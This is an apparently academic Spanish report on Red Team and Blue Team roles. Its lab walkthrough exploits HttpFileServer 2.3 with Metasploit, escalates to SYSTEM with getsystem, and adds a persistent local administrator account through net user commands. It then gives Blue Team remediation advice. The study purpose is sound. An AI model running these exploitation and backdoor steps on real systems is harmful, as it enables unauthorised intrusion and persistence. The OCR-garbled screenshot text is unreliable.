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Resumen

Los equipos Red Team y Blue Team desempefian papel fundamental para el
fortalecimiento de la ciberseguridad dentro de una organizacion, ya que al trabajar de forma
complementaria permite realizar la identificacion y mitigacion de posibles riesgos este trabajo en
conjunto da como resultado un fortalecimiento en la infraestructura de las organizaciones.

El equipo de Red Team tiene como objetivo realizar diferentes simulaciones de ataque
que se puedan llegar a presentar en contra de una organizacion, para estas simulaciones el equipo
Red Team utilizara técnicas y procedimientos que un actor malicioso podria usar. La ejecucion
de estos simulacros permite realizar la identificacion de posibles fallos de seguridad, también
permite evaluar la capacidad de respuesta que puede tener la organizacion si es victima de un
ataque de ciberseguridad.

Por otro lado, el equipo Blue Team se encarga de realizar monitoreos constantes,
establecer controles y crear medidas de respuesta a incidentes, su enfoque esta en fortalecer las
medidas de proteccion implementadas en la organizacion y aplicar medidas correctivas

generadas de las lecciones aprendidas.

Palabras clave: Ciberseguridad, Defensa Proactiva, Red Team, Blue Team,
Vulnerabilidades, Gestion del Riesgo, Fortalecimiento de defensas, Monitoreo, Simulacion de

ataques.



Abstract

Red Team and Blue Team play a fundamental role in strengthening cybersecurity within
an organization. By working collaboratively, they enable the identification and mitigation of
potential risks. This joint effort results in a more robust organizational infrastructure.

The Red Team’s objective is to conduct various attack simulations that an organization
might face. These simulations involve using techniques and procedures that a malicious actor
could employ. Carrying out such drills helps identify potential security flaws and also assesses
the organization’s response capabilities in the event of a cybersecurity attack.

On the other hand, the Blue Team is responsible for continuous monitoring, establishing
controls, and creating incident response measures. Their focus is on reinforcing the protective
measures implemented within the organization and applying corrective actions based on lessons
learned.

Keywords: Cybersecurity, Proactive Defense, Red Team, Blue Team, Vulnerabilities,

Risk Management, Defense Strengthening, Monitoring, Attack Simulation.
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Glosario

Ciberseguridad: Se encarga de proteger los activos digitales de una organizacion en los
que se incluyen hardware, software, datos almacenados y procesados dentro de la infraestructura
de la organizacion.

Red Team: El equipo de Red Team tiene como principal funcidn realizar ataques
simulados mediante la utilizacion de estrategias, técnicas y métodos usados por ciberatacantes,
este equipo realiza auditorias de seguridad dentro de las empresas por medio técnicas de hacking
ético que permite hacer descubrimiento de las vulnerabilidades existentes

Blue Team: La funcidon del equipo Blue Team es la de fomentar procesos de mejora
dentro de la organizacion basdndose en los informes generados por el Red Team, el Blue Team
planea estrategias que permiten robustecer la seguridad informatica dentro de las organizaciones.

Vulnerabilidades: Es una debilidad o un fallo presente en un sistema, hardware,
aplicacion, etc. Estas vulnerabilidades al ser explotada pueden lograr el compromiso de la
integridad, confidencialidad o disponibilidad de los sistemas.

Gestion del Riesgo: Es el proceso de identificar, analizar y evaluar posibles riesgos que
puedan afectar el correcto funcionamiento de los servicios dentro de una organizacion, el
proposito de la gestion del riesgo es la de minimizar el impacto de los riesgos dentro de una
organizacion.

Respuesta a incidentes: Es un conjunto de procedimientos establecidos desde el equipo
Blue Team que permite tomar acciones coordinadas dentro de una organizacion cuando se

presenta un incidente de seguridad.



Introduccion

La ciberseguridad dentro de las organizaciones se ha convertido en uno de los pilares
fundamentales cuando se habla de la proteccion de activos de informacion y entornos digitales.
Dentro de este contexto, aparecen los equipos de Red Team y Blue Team los cuales son
componentes estratégicos dentro de una organizacion ya que estos equipos se enfocan en
anticipar posibles ataques, ademas de detectar y responder cuando se presenta un incidente de
seguridad.

Este documento aborda el andlisis detallado de las funciones y estrategias utilizadas por
los equipos Red Team y Blue Team en el caso de estudio planteado durante el seminario, el cual
plantea el robo de informacién mediante una vulnerabilidad identificada en una aplicacion
destinada para la transferencia de datos. Dentro de este documento se busca ilustrar la
participacion de ambos equipos y como actiia cada uno de estos equipos cuando se presenta un
incidente de seguridad.

A lo largo de informe podremos ver la forma en la que el equipo Red Team mediante la
utilizacion de técnicas ofensivas, simula y realiza la explotacion de la vulnerabilidad
identificada, una vez el equipo Red Team termine de realizar la documentacion de la forma en la
que ocurrio el incidente de seguridad, el equipo Blue Team participara realizando las
recomendaciones necesarias, aplicando medidas correctivas y generando un informe de lecciones

aprendidas frente al incidente de seguridad.



Justificacion

En la actualidad las amenazas cibernéticas estan teniendo un crecimiento en alcance,
frecuencia y presencia en el mundo. Es por esto por lo que las organizaciones estan enfrentadas a
tener que pensar en nuevas formas de salvaguardar sus activos criticos y garantizar la
continuidad del servicio. Es por esto por lo que las organizaciones han comprendido lo vital que
es adoptar estrategias de seguridad que permitan garantizar el correcto funcionamiento de su
infraestructura.

Es por esto por lo que en desarrollo de este documento se busca dar a conocer la
importancia de un trabajo mancomunado entre el equipo Red Team y Blue Team dentro de una

organizacion para lograr mejorar la ciberseguridad dentro de una infraestructura.

Objetivos

Objetivo General

Comprender las funciones del equipo Red Team y Blue Team dentro del caso de estudio
relacionado al robo de informacion dentro de una organizacion, con el propoésito de identificar la
funcion de cada uno de los equipos y su impacto dentro de una organizacion.
Objetivos Especificos

Evaluar las técnicas utilizadas por el equipo Red Team dentro de la practica simulada,
identificando la vulnerabilidad empleada, la forma de explotacion utilizada y el alcance de la

explotacion de la vulnerabilidad.
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Identificar las acciones y recomendaciones adoptadas por el equipo Blue Team como
acciones de respuesta al incidente de seguridad identificado por el equipo Red Team todo esto
enfocado en la contencion y mitigacion de futuros incidentes de seguridad.

Descripcion del escenario.

En el escenario se plantea un incidente de seguridad relacionado con la fuga de
informacion dentro de una organizacion, el presunto origen de este incidente es atribuido a un
servidor cuyo sistema operativo es Windows y cuenta con una aplicacion para la transferencia de
archivos.

Se hace entrega al equipo de Red Team una copia del servidor desde donde se originé la
falla de seguridad con el propdsito de indagar cual fue la vulnerabilidad usada en el robo de
informacion. Al momento de la entrega de la copia del servidor se solicita al equipo de Red
Team la documentacion de la explotacion de la vulnerabilidad encontrada, ademas de esto se
solicita realizar el escalamiento de privilegios para comprobar el alcance del ataque inicial y de
qué forma podria afectar la organizacion.

Acciones del equipo Red Team
Normatividad

Debemos tener en cuenta que cualquier accion tomada por un equipo Red Team dentro de
una organizacion esta regida por normatividad asociada a la proteccion de datos y delitos
informaticos esto permite garantizar la confidencialidad de la informacion obtenida dentro de las
actividades pertinentes de un Red Team, es por esto por lo que se debe garantizar un contrato de

confidencialidad entre las partes interesadas.
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En Colombia se aplican leyes de proteccion de datos y confidencialidad de la
informacion para garantizar este cumplimiento se deberd aplicar las siguientes leyes establecidas
dentro de las normas vigentes relacionadas a proteccion de datos y delitos informaticos.

Ley 1273 de 2009: se crea un nuevo bien juridico tutelado - denominado “de la
proteccion de la informacion y de los datos”

Articulo 269A: Hace referencia al acceso abusivo a un sistema informatico, por ejemplo,
cuando se accede sin autorizacion o cuando se exceden los limites establecidos inicialmente, este
articulo también aplica para la permanencia dentro de un sistema por agentes externos a la
organizacion que no cuenten con autorizacion previa.

Articulo 269B: Aplica cuando se obstaculiza de forma predeterminada un sistema
informdtico o de telecomunicaciones sin contar con la autorizacion de propietario del sistema.

Articulo 269C: El que, sin orden judicial o autorizacion expresa del administrador del
sistema intercepte datos informaticos.

Articulo 269E: El que sin estar facultado haga uso de software malicioso dentro de un
sistema sin autorizacion previa.

Ejecucion de actividades del equipo Red Team.

El trabajo del equipo Red Team consiste en realizar la simulacion de ataques
informaticos utilizando las mismas técnicas que un atacante comun utilizaria para vulnerar una
infraestructura, a este proceso de busqueda y explotacion de vulnerabilidades se le conoce como
pentesting. Para la realizacion de proceso de pentesting se debe tomar en cuenta los siguientes

pasos:
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Planeacion y recoleccion de informacion: Se establece la metodologia que usaremos, se
establecen los objetivos, el alcance, el enfoque y las restricciones a las cuales estamos sujetos
dentro de la ejecucion del pentesting.

La recoleccion de la informacion permite comprender la infraestructura a la cual estamos
realizando el pentesting y cuéles son los servicios y servidores que serd excluidos de las pruebas.

Identificacion de vulnerabilidades: en esta fase se inicia el trabajo dentro de la red se la
organizacion, se utiliza un pool de herramientas que permitan recolectar informacion de la
infraestructura que serd usada posteriormente para la explotacion de vulnerabilidades.

Verificacion de vulnerabilidades: Una vez recolectada la informacion se inicia el proceso
de analisis de las vulnerabilidades encontrada, de esta forma se descartan los falsos positivos y
ademads se mide el impacto de las vulnerabilidades encontradas.

Realizacion del informe: Se realizard un documento técnico donde se especifique
detalladamente cada proceso del pentesting, cada vulnerabilidad encontrada y la forma en la que
fue hallada, a su vez se explicara la forma en la que dicha vulnerabilidad afecta el sistema y cual
podria ser la forma de corregir dicha falla de seguridad. (ciberseguridad, s.f.)

Ejecucion del Pentesting al escenario planteado
Fase de Enumeracion de puertos y servicios:

Mediante la herramienta nmap se ejecuta el siguiente comando “namp -p- -sCV -script

vuln 192.168.1.82” realizamos el scaneo de todos los puertos y ademas identificamos las

posibles vulnerabilidades existentes en los puertos que identifique.
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Archivo Maquna Ver Entrada

SEmmpPor-

File Actions Edit View Help

root@kali: homekali

s (workgroup: W

APL httpd

AP httpd 2.0 (

File

Actions Edit View Help

R ——

[sudo] p:

Ilustracion 2-Servicios

Podemos identificar que el puerto 80 es vulnerable mediante el puerto 80/tcp servicio http
version HttpFileServer httpd 2.3

Al ser una aplicacion web lo que esta corriendo en el puerto 80 podemos abrirla en un

explorador para poder observar algunas caracteristicas como por ejemplo la version y comprobar

la informacion encontrada con nmap.
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GitHub - whOamitz/Pet

QO & 192168.1.82

Kali Linux & KaliTools < KaliDocs M Kali Forums e\ Kali NetHunter Exploit-DB

@
b User

Legin No files in this folder

~/ Folder

' Home

0 folders, O files, 0 bytes

9 search
el

% Select
|E” Invert || Mask \

0 items selected

H Actions

‘:Ar(hive:‘ | Get list ‘

59 server information

HtipFileServer 2.3
Server time: 03/11/2024 01:48:39 p.m.
Server uptime: 00:11:20

llustracion 3-Aplicacion
Evidenciamos la que la aplicacioén que corre en el puerto 80 es HttpFileServer 2.3 al igual
que el que se muestra en el scaneo con nmap.

Fase de Explotacion:

Ahora vamos a usar la herramienta metasploit para buscar algin exploit que podamos
usar para explotar la vulnerabilidad asociada a la aplicacion HttpFileServer 2.3. Para esto usamos

los siguientes comandos “search HttpFileServer 2.3” esto nos arroja un resultado.

1lustracion 4-Metaexploitl

Seleccionamos el exploit con el comando “use exploit/windows/http/rejetto _hfs exec”
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Archivo Maguina Ver Entrada Dispositivos Ayuda

NEEPRo-|

=

File Actions Edit View Help

iploit/windows/http/r

, defaulting to windows/meterpr

llustracion 5-Exploit

Ahora usamos el comando “show options” para ver los requerimientos del exploit

root@lali: frome/kali

View the full module info with the

msfi

llustracion 6-ShowOptionsExploit

Ahora vamos asignar los valores que estdn marcados como requeridos, debemos verificar
que la informacion ya asignada es la correcta. Para ingresar informacion a la variable RHOSTS

usaremos el comando “set RHOSTS 192.168.1.82”.

Archivo Maguina Ver Entrada Dispositives Ayuda

N EmR -

;.

File Actions Edit View Help

Ilustracion 7-SetOptions

Volvemos a comprobar con el comando “show options”



1lustracion 8-ShowOptions2

Ahora iniciamos la ejecucion del exploit con el comando “exploit”

Archivo Maguina Ver Entrada itivos  Ayuda
B EmEmPk ol
Bk root@kali: fhome/kali

File Actions Edit View Help

ms e

[ M XAl , unknown result
(1 — 102.168.1.82:49197) at 2024-11-0

meterpreter > |

llustracion 9-RunExploit

Podemos ver que el exploit creo una sesion meterpreter desde donde podemos observar
diferentes caracteristicas del sistema atacado usando los siguientes comandos:
“Sysinfo”, “pwd”, “ifconfig”.
Computer

0s H 7 .1 Build 7681, Se¢ e Pack 1).
Architecture 5

stem Lang

llustracion 10-Meterpreter

Acé podemos ver el directorio en el que nos encontramos y la direccion ip de la maquina

a la cual estamos conectados.

16



itorio Intel(R) PRO/1@0@ MT

Ilustracion 11-InfoMeterpreter

Fase de pos-explotacion:
Ahora que ya tenemos acceso a la maquina vulnerable debemos identificar que
privilegios tenemos en el usuario con el que estamos accediendo en este momento, esto lo

hacemos con el “getuid”.

Archive Maguina Ver Entrada Dispositivos Ayuda

JL N BN NN

.

File Actions Edit View Help

atuid
usuario

llustracion 12InfoRhosts1

Podemos ver que solo tenemos acceso de usuario sin privilegios, por lo que vamos a
realizar un escalado de privilegios de forma vertical, para esto usaremos el comando

“getsystem”

lustracion 13-EscaladoPrivilegios

Ahora volvemos a ver que privilegios tenemos con el comando “getuid”

17



18

Archiva Maquina Ver Entrada Dispositivos Ayuda

S mEP O

k.

llustracion 14-PerfilUsuario

Ahora vamos a usar el comando “getprivs”

Name

llustracion 15-DescripcionPrivilegios

En este momento ya tenemos acceso como usuario administrador al equipo victima, para
poder generar un ataque persistente vamos a crear una cuenta de usuario, para esto necesitamos
ejecutar una Shell de Windows en nuestra sesion meterpreter, para esto usamos el comando

“Shell”
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lustracion 16-Shell

Ahora vamos a ver los usuarios existentes en la maquina victima, para esto usamos el

comando “query user” y “net user usuario”

ID. ESTADO TIEMPO IN. TIEMPO
1 Activo ninguno 83 12:05 p.m.

usuario

008 (Predeterminado por el equipo)
Se

Nunca

llustracion 17-Usuarios Rhosts

Ahora desde la sesion Shell que tenemos conectada desde Kali vamos a crear la una
cuenta nueva con permisos de administrador, para esto vamos a utilizar el siguiente comando
“net user OscarRodriguez 123456 /add”

indows\system32>net user 0sc

net user arRodriguez 123456
ha completa el comando correctame

indows,

Ilustracion 18-CreacionDeUsuario



20

Ahora vamos a volver usuario administrador al usuario OscarRodriguez para esto vamos

a usar el comando “net localgroup Administradores OscarRodriguez /add”

ystem group Adm1n1;T:3d3r95 OscarRodri
roup Adm1n1;T:+da:-5 OscarRodriguez /fadd
:ﬂmp1ﬂT4dﬂ el comando DIIELtimﬂﬂTﬂ

iindows'systen

Ilustracion 19-GrupoAdmnistradores

Ahora vamos a comprobar los usuarios existentes en la maquina victima.

eso completo y sin restricciones al eguipo o dominio

Miembros

Administrador

Se ha completado el comando correctamente

llustracion 20-UsuarioCreado

Podemos observar que se cred un usuario llamado OscarRodriguez que pertenece al
grupo de administradores locales de la méquina y por lo tanto tiene todos los privilegios.
Ahora vamos a ver directamente en la maquina Windows 7 los usuarios para comprobar

que el usuario este creado.
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@Qv‘.}‘i <« Cuentas de usuario + Administrar cuentas [ 42 ]|[ Buscaren el Panel de control 2|

Elegir la cuenta que desee cambiar

OscarRodriguez
Administrador
Protegida por contrasefia

usuario
Administrader

Invitado
La cuenta de invitado esté desactivada

Crear una nueva cuenta

Qué es una cuents de usuario?

Acciones adicionales que se pueden realizar
& Configurar Control parental

Ir ala pagina principal de Cuentas de usuaric

llustracion 21-UsuarioAdministrador

Podemos observar que hemos creado un usuario llamado OscarRodriguez con un perfil de
administrador.

Aportes para el correcto desarrollo de las actividades del equipo Red Team.

Es fundamental el disefio y la implementacion de estrategias apropiadas para lograr un
enfoque mas efectivo a la hora de seleccionar la tacticas, técnicas y procedimientos adecuados
para la identificacion y explotacion de vulnerabilidades dentro de una organizacién es por esto
por lo que se debe tener en cuenta los siguientes aspectos para lograr un desarrollo eficaz en las
actividades requeridas en un Red Team.

Cumplimiento normativo: Es de vital importancia tener en cuenta toda la normatividad
vigente antes de iniciar procedimientos de identificacion y explotacion de vulnerabilidades
dentro de una organizacion ya que es factible que, durante estas ejecuciones, el equipo Red Team

acceda a informacion sensible de la organizacion.
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Registro detallado de los procedimientos: Realizar un registro detallado de todo el
proceso de descubrimiento de vulnerabilidades al igual que un informe detallado de
recomendaciones permitird a la organizacion ajustar sus controles y procedimientos de
seguridad.

Reconocimiento de las amenazas y la forma en la que se pueden presentar: Un Red Team
actualizado en los ultimos reportes de ataques informaticos permite anticipar y mitigar acciones
maliciosas en una organizacion, ya que facilita la toma de medidas correctivas enfocadas en el
mejoramiento de la seguridad. Esto permite realizar busquedas de vulnerabilidades asociadas a
las amenazas vigentes.

Andlisis de casos reales: Investigar casos reales permitira anticipar un ataque de

ciberseguridad ya que facilita la identificacion de vulnerabilidades existentes en un sistema.

Acciones del equipo Blue Team

Este equipo esta enfocado en defensa proactiva, el objetivo principal es mejorar la
infraestructura de ciberseguridad, realizar la identificacion de vulnerabilidades de forma activa.
La responsabilidad del BlueTeam estd centrada en el monitoreo continuo, realizar hardenizacion
de la infraestructura, realizar simulacion de ataques informaticos, realizacion de evaluaciones de
riesgos y realizar andlisis de seguridad de forma preventiva.
Ejecucion de actividades del equipo Blue Team.

Al realizar un analisis del activo comprometido y el ataque realizado mediante el cual
pudieron sustraer informacidon podemos dar las siguientes recomendaciones para remediar y

prevenir nuevos incidentes de seguridad.
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Se identifico que la aplicacion usada para transferencia de archivos contaba con una
vulnerabilidad. Por lo que se recomienda hacer el cambio de la aplicacion HFS por un servidor
de archivos més robusto por ejemplo Apache o en su defecto utilizar una version mas actual de
HFS.

El sistema operativo del servidor que aloja la aplicacion de transferencia de archivos es
Windows 7 el cual esta desactualizado y ademas cuenta con varias vulnerabilidades por lo que se
recomienda hacer la migracion a un sistema operativo basado en Windows server o migrar a una
version de Windows profesional actual.

Implementacion de politicas de seguridad basada en roles de minimo acceso, lo cual
permite que solo los usuarios con privilegios puedan ejecutar y acceder a la informaciéon dentro

de la infraestructura de la organizacion.

Aportes para el correcto desarrollo de las actividades del equipo Blue Team.

Monitoreo continuo: Implementacion de soluciones de monitoreo que facilite la
supervision en tiempo real de la infraestructura de la organizacion, el uso de herramientas como
SIEM mejora y facilita la identificacion de patrones de comportamiento considerados como
andémalos y que pueden ser parte de un posible incidente de seguridad.

Desarrollo del plan de respuesta a incidentes: Disefiar y documentar planes de accion que
permitan la identificacion, contencidén, mitigacion y recuperacion de un incidente de seguridad,
garantiza una mejor gestion y atencion de los incidentes de seguridad que se puedan presentar.

Capacitacion y concienciacion: Mantener a todos los actores de la organizacion

actualizados en temas de ciberseguridad mediante capacitaciones permite minimizar los factores
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de riesgos asociados a temas de ataques de ingenieria social y otros ataques dirigidos a una
organizacion.

Gestion de vulnerabilidades: Implementacion de politicas enfocadas en la ejecucion de
analisis de vulnerabilidades dentro de la infraestructura de la organizacion permite identificar de
forma anticipada posibles vulnerabilidades existentes lo que permite crear planes de remediacion
eficaces.

Fortalecimiento de controles de seguridad: El anélisis de vulnerabilidades permite a la
organizacion identificar las posibles brechas de seguridad existentes, por lo que se puede hacer
un mejor enfoque en la implementacion de politicas de seguridad que ayuden a generar un
fortalecimiento en los controles de seguridad dentro de la organizacion.

Evaluacion de politicas de seguridad: La evaluacion a las politicas de seguridad permite
conocer el grado de efectividad de las acciones preventivas que estan implementadas
actualmente lo cual culmina en acciones de mejora contante para la seguridad de la organizacion.

Conclusiones

El analisis del caso de estudio nos permitié comprender como el trabajo entre los dos
equipos Red Team y Blue Team fortalece el campo de la ciberseguridad dentro de la
organizacion. El equipo Red Team, mediante la simulacion de ataques reales permite identificar
las vulnerabilidades criticas dentro de la organizacion, lo que permite anticipar posibles
explotaciones de las vulnerabilidades presentes, mientras que el equipo Blue Team, mediante sus
acciones de respuesta, logra implementar acciones de mitigacion del impacto de posibles
incidentes de seguridad.

Las técnicas usadas por el equipo Red Team permiten hacer simulaciones de ataques

reales por parte de un actor malicioso, lo que permite evidenciar las falencias existentes dentro
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de una organizacion, para el caso de estudio se evidencio la presencia de una aplicacion
vulnerable la cual fue explotada y de esta forma pudo se comprometer datos sensibles de la
organizacion y su infraestructura.

Por otro lado, las recomendaciones realizadas por el equipo Blue Team, como la
actualizacion de la aplicacion de transferencia de archivos, la actualizacion del sistema operativo
del servidor y la implementacion de politicas de acceso permiten crear acciones de mejora de la
seguridad informadtica dentro de la organizacion.

Es por esto que el trabajo en conjunto de los dos equipos permite la identificacion de
fallos y la optimizacion de estrategias enfocadas en tener una seguridad proactiva y adaptable a

las necesidades que se presenten dentro de la organizacion.

Recomendaciones

Fortalecimiento del enfoque colaborativo entre el equipo Red Team y Blue Team
mediante la ejecucion de simulaciones que permitan mejorar la comunicacién y la articulacion de
actividades que mejoren la capacidad de prevencion y reaccion frente a posibles ataques de
seguridad de la informacion.

Actualizacién y seguimiento a los controles de seguridad, se deberan programar
auditorias y simulaciones de efectividad a los controles establecidos dentro de la organizacion
con el fin de poder identificar la efectividad y el cumplimiento de los controles de seguridad para
cada uno de los procesos.

Mantener actualizados los equipos de Red Team y Blue Team en temas relacionados con
ciberseguridad es crucial para comprender los diferentes riesgos que estan presentes en el

mundo, es de recordar que todos los dias son encontradas nuevas vulnerabilidades en servicios y
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aplicaciones que posiblemente usamos en nuestras organizaciones. Por lo tanto, tener equipos de
seguridad informados y actualizados brinda una mejor capacidad de reaccion y mitigacion antes
incidentes de seguridad.

Finalmente es de recalcar la importancia de documentar las lecciones aprendidas, estas
son generadas después de cada simulacion o incidente de seguridad que se presenta, de esta
forma se crea un conocimiento que permite facilitar la mejora continua de los procesos de

seguridad.
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